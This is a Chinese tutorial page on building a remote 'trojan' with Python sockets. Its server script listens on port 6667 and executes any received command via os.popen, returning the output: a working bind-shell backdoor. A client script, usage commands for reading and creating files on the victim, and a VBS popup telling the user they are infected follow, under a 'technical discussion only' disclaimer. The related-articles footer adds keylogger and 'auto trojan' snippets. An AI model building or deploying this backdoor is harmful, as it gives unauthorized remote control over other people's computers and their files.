Python Socket实现远程木马弹窗详解

目录
  • 基础知识
  • 服务端(server)程序
  • 客户端(client)程序
  • 其他命令执行函数
  • 该木马程序的基本用法
    • 1、查看文件内容
    • 2、查看文件目录
    • 3、创建文件或目录
    • 4、调用windows应用程序
    • 5、调用Windows弹窗

严正声明:本文仅限于技术讨论,严禁用于其他用途。

基础知识

  • socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
  • Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
  • 如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间

编码:

  • 英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)
  • 中文多:建议用UTF-16编码
  • 中文:window中文采用的是GBK格式编码

netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了

服务端(server)程序

import socket, os
def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口
        s.listen()     #    对6667端口进行监听
        chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
    except:
        s.close()
        attack()
if __name__ == '__main__':
    attack()

客户端(client)程序

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服务器的地址
while True:
    sendstr = input("请输入消息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"服务器回复:{receive}")
    # s.close()

其他命令执行函数

提示:需要导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval()        # 将字符串按照Python代码来执行

该木马程序的基本用法

1、查看文件内容

window

type 文件绝对路径

linux

cat 文件路径

2、查看文件目录

window

dir                #查看当前文件路径目录
dir 文件路径     #查看指定文件路径目录

linux

ls                #查看当前文件路径目录
ll                #查看当前文件路径目录详细信息
ls 文件路径         #查看指定文件路径目录
ll 文件路径         #查看指定文件路径目录详细信息

3、创建文件或目录

windows

echo test >> demo.txt    #创建一个demo.txt文件,文件内容为 test

linux

mkdir 路径    #创建目录
echo test >> demo.txt    #创建一个demo.txt文件,文件内容为 test

4、调用windows应用程序

调用计算器

calc.exe

调用其他引用程序

直接输入应用程序绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!")  > E:\hi.vbs    
E:\hi.vbs

到此这篇关于Python Socket实现远程木马弹窗详解的文章就介绍到这了,更多相关Python Socket内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • python套接字socket通信

    目录 一.初步认识 二.socket对象 一.初步认识 socket被翻译成套接字,尽管有些人诟病,但我觉得还挺贴切的.其功能是提供低级别的网络服务,最常用的就是根据IP来传输数据. 所谓传输,就要有两个“端”,首先做一个服务端 import socket s = socket.socket() host = socket.gethostname() #本机地址    port = 12345                #端口 s.bind((host,port))         #绑定端

  • 基于Python socket实现简易网络聊天室

    目录 1.socket_ui.py 服务端 1-1. 依赖引用 1-2. 实现过程 1-3. 实现效果 2.client_ui.py 客户端 2-1. 依赖引用 2-2. 实现过程 2-3. 实现效果 在这个周末刚刚写出来的python桌面应用--网络聊天室,主要通过pyqt5作为桌面应用框架,socket作为网络编程的框架,从而实现包括客户端和服务端的网络聊天室的GUI应用,希望可以一起学习.一起进步! 应用包括服务端server_ui.py.客户端client_ui.py两个python模块

  • Python告诉你木马程序的键盘记录原理

    前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python". # -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user

  • python利用socket实现客户端和服务端之间进行通信

    目录 一.socket socket通信的条件:IP和端口 形象比喻 二.客户端实现过程 三.服务器实现过程 四.演示 五.实现持续通信过程 前言: 今天教大家通过Python进行Socket网络编程(做一个聊天程序),可以实现在不同的主机(电脑)之间进行通话. 具体效果如何,接着往下看: 可以看到客户端(上方)向服务器端(下方)发送了内容,服务器端进行了回复 [备注:客户端是我的本机,服务器是另一条主机(阿里云服务器)] 两台主机的目的:验证两台主机可以相互通信 一.socket 先简单给大家

  • Python网络编程之socket与socketserver

    目录 一.基于TCP协议的socket套接字编程 1.套接字工作流程 1. 服务端套接字函数 2. 客户端套接字函数 3. 公共用途的套接字函数 4. 面向锁的套接字方法 5. 面向文件的套接字的函数 2.基于TCP协议的套接字编程 1. 服务端 2. 客户端 3.地址占用问题 1. 方法一:加入一条socket配置,重用ip和端口 2. 方法二:通过调整linux内核参数 4.模拟ssh远程执行命令 5.粘包 1.发送端需要等缓冲区满才发送出去,造成粘包 2.接收方不及时接收缓冲区的包,造成多

  • 用Python写一个自动木马程序

    电脑作为大家日常办公的工具,最怕的一件事情之一就是被偷,当我们的电脑被盗的时候,不仅仅是电脑本身,更重要的是电脑存储的资料都会丢失.如何尽快的找回电脑需要我们想点办法,今天就教大家一个好的技巧,虽说不能百分之百的好用,但是也能够发挥一定的效果. 小编本次是基于Linux下的展示,之所以基于Linux,是因为需要电脑在启动的时候,需要自动启动程序,做到出其不意,原因我会在最后给出. 程序是这样的,程序执行会首先调用笔记本的摄像头,拍摄笔记本面前的照片,然后,会给我们的预设邮箱,发送邮件,提醒我们电

  • Python中的socket网络模块介绍

    目录 Socket 服务端(server.py) 客户端(client.py) socket中的一些常用方法 Socket 对象(内建)方法 Python Internet 模块 前言: Python3 提供了两个级别访问的网络服务: 低级别的网络服务支持基本的 Socket,它提供了标准的 BSD Sockets API,可以访问底层操作系统Socket接口的全部方法. 高级别的网络服务模块 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发. Socket Socke

  • Python Socket实现远程木马弹窗详解

    目录 基础知识 服务端(server)程序 客户端(client)程序 其他命令执行函数 该木马程序的基本用法 1.查看文件内容 2.查看文件目录 3.创建文件或目录 4.调用windows应用程序 5.调用Windows弹窗 严正声明:本文仅限于技术讨论,严禁用于其他用途. 基础知识 socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块. Unicode 有多种存储方式,常见的有 UTF-8.UTF-16.UTF-32,它们分别用不同的二进制

  • python socket 聊天室实例代码详解

    python socket 聊天室 import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #绑定端口 s.bind(("127.0.0.1", 8888)) while True: data = s.recvfrom(1024) print(str(data[0].decode("gbk"))) send_data = input("请输入聊天内容") if &quo

  • 基于python中的TCP及UDP(详解)

    python中是通过套接字即socket来实现UDP及TCP通信的.有两种套接字面向连接的及无连接的,也就是TCP套接字及UDP套接字. TCP通信模型 创建TCP服务器 伪代码: ss = socket() # 创建服务器套接字 ss.bind() # 套接字与地址绑定 ss.listen() # 监听连接 inf_loop: # 服务器无限循环 cs = ss.accept() # 接受客户端连接 comm_loop: # 通信循环 cs.recv()/cs.send() # 对话(接收/发

  • Python面向对象编程之继承与多态详解

    本文实例讲述了Python面向对象编程之继承与多态.分享给大家供大家参考,具体如下: Python 类的继承 在OOP(Object Oriented Programming)程序设计中,当我们定义一个class的时候,可以从某个现有的class 继承,新的class称为子类(Subclass),而被继承的class称为基类.父类或超类(Base class.Super class). 我们先来定义一个class Person,表示人,定义属性变量 name 及 sex (姓名和性别): 定义一

  • Python中协程用法代码详解

    本文研究的主要是python中协程的相关问题,具体介绍如下. Num01–>协程的定义 协程,又称微线程,纤程.英文名Coroutine. 首先我们得知道协程是啥?协程其实可以认为是比线程更小的执行单元. 为啥说他是一个执行单元,因为他自带CPU上下文.这样只要在合适的时机, 我们可以把一个协程 切换到另一个协程. 只要这个过程中保存或恢复 CPU上下文那么程序还是可以运行的. Num02–>协程和线程的差异 那么这个过程看起来和线程差不多.其实不然, 线程切换从系统层面远不止保存和恢复 CP

  • IDEA实现远程调试步骤详解

    IDEA不仅可以本地调试代码,也可以远程调试代码. 一.基本原理 本机和远程主机的两个 VM 之间使用 Debug 协议通过 Socket 通信,传递调试指令和调试信息.  被调试程序的远程虚拟机:作为 Debug 服务端,监听 Debug 调试指令.jdwp是Java Debug Wire Protocol的缩写.  调试程序的本地虚拟机:IDEA 中配置的 Remote Server,指定 Debug 服务器的Host:Port,以供 Debug 客户端程序连接. 二.远程调试步骤 1.ID

  • Python远程控制Windows服务器的方法详解

    目录 1. 被控端 windows 启动 winrm 服务 检查 winrm 服务监听状态 查看 winrm 配置信息(可选) 配置 winrm client 配置 winrm service 2. 控制端 3. 实战一下 4. 总结 在很多企业会使用闲置的 Windows 机器作为临时服务器,有时候我们想远程调用里面的程序或查看日志文件 Windows 内置的服务「 winrm 」可以满足我们的需求 它是一种基于标准简单对象访问协议( SOAP )的防火墙友好协议,允许来自不同供应商的硬件和操

  • python中模块的__all__属性详解

    python模块中的__all__属性,可用于模块导入时限制,如: from module import * 此时被导入模块若定义了__all__属性,则只有__all__内指定的属性.方法.类可被导入. 若没定义,则导入模块内的所有公有属性,方法和类 # kk.py class A(): def __init__(self,name,age): self.name=name self.age=age class B(): def __init__(self,name,id): self.nam

  • Python 通过URL打开图片实例详解

    Python 通过URL打开图片实例详解 不论是用OpenCV还是PIL,skimage等库,在之前做图像处理的时候,几乎都是读取本地的图片.最近尝试爬虫爬取图片,在保存之前,我希望能先快速浏览一遍图片,然后有选择性的保存.这里就需要从url读取图片了.查了很多资料,发现有这么几种方法,这里做个记录. 本文用到的图片URL如下: img_src = 'http://wx2.sinaimg.cn/mw690/ac38503ely1fesz8m0ov6j20qo140dix.jpg' 1.用Open

  • python算法演练_One Rule 算法(详解)

    这样某一个特征只有0和1两种取值,数据集有三个类别.当取0的时候,假如类别A有20个这样的个体,类别B有60个这样的个体,类别C有20个这样的个体.所以,这个特征为0时,最有可能的是类别B,但是,还是有40个个体不在B类别中,所以,将这个特征为0分到类别B中的错误率是40%.然后,将所有的特征统计完,计算所有的特征错误率,再选择错误率最低的特征作为唯一的分类准则--这就是OneR. 现在用代码来实现算法. # OneR算法实现 import numpy as np from sklearn.da

随机推荐